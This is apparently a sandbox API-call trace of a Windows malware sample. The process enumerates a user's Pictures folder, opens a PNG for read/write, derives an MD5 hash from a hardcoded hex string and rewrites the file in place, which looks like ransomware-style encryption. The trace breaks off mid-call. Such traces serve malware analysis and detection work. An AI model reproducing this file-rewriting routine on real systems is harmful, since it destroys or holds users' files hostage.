1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\") returned="IGq6V3a\\" [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0067.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.954] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.954] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.954] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.954] PathFindFileNameW (pszPath="") returned="" [0067.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.954] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.954] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.954] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.954] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d701a0, ftCreationTime.dwHighDateTime=0x1d4c79a, ftLastAccessTime.dwLowDateTime=0x902fe6a0, ftLastAccessTime.dwHighDateTime=0x1d4d026, ftLastWriteTime.dwLowDateTime=0x902fe6a0, ftLastWriteTime.dwHighDateTime=0x1d4d026, nFileSizeHigh=0x0, nFileSizeLow=0x17cac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bPu-.png", cAlternateFileName="")) returned 1 [0067.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.954] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\bPu-.png") returned=".png" [0067.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\bPu-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\bpu-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.954] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=97452) returned 1 [0067.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.957] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17c86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.957] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.957] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.957] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17cac, lpOverlapped=0x0) returned 1 [0067.958] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.958] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.958] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.958] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.959] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.959] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.959] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.959] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.959] GetLastError () returned 0x0 [0067.959] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.959] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x17cb0) returned 0x32b2f40 [0067.960] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.960] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x17ca7, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x17ca7, lpOverlapped=0x0) returned 1 [0067.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.960] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17cac, 